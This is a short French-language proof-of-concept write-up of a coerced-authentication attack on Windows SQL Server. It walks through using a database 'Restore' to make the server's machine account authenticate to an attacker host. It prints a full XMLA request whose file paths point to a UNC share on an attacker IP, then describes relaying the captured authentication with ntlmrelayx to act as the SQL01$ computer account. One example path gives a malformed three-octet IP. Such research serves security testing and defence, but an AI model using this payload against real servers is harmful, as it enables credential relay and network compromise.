
Une technique pour contraindre un serveur SQL Windows à s'authentifier sur une machine arbitraire.

Une technique pour forcer un serveur SQL Windows à s'authentifier sur une machine arbitraire.
Cette preuve de concept est co-écrite par :
Afin de déclencher l'authentification en tant que compte de la machine locale, nous devons nous connecter au serveur SQL distant en utilisant des identifiants utilisateur :

Ensuite, nous sélectionnons « Restore » pour restaurer la base de données à partir d'un fichier donné.

Pour générer le fichier XMLA, placez le chemin d'un fichier quelconque dans le champ « Backup File », puis cliquez sur OK.

Ensuite, modifiez le chemin vers un fichier quelconque et remplacez-le par un chemin UNC vers votre serveur attaquant (par exemple \\192.168.128\SYSVOL\db.abf)

Requête XMLA de preuve de concept (poc.xmla) :
<Restore xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
<File>\\192.168.2.51\SYSVOL\db.abf</File>
<DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>
<DbStorageLocation xmlns="http://schemas.microsoft.com/analysisservices/2008/engine/100/100">\\192.168.2.51\SYSVOL\db.abf</DbStorageLocation>
</Restore>
Et nous obtenons une authentification depuis le compte de la machine locale du serveur SQL :

Une fois l'authentification obtenue, nous pouvons la relayer avec ntlmrelayx pour effectuer de nombreuses actions au nom de l'ordinateur SQL01$.
C'est intéressant, mais il est compliqué de déclencher cette authentification forcée depuis une machine d'attaque Linux, car nous n'avons pas accès à SQL Server Management Studio (SSMS).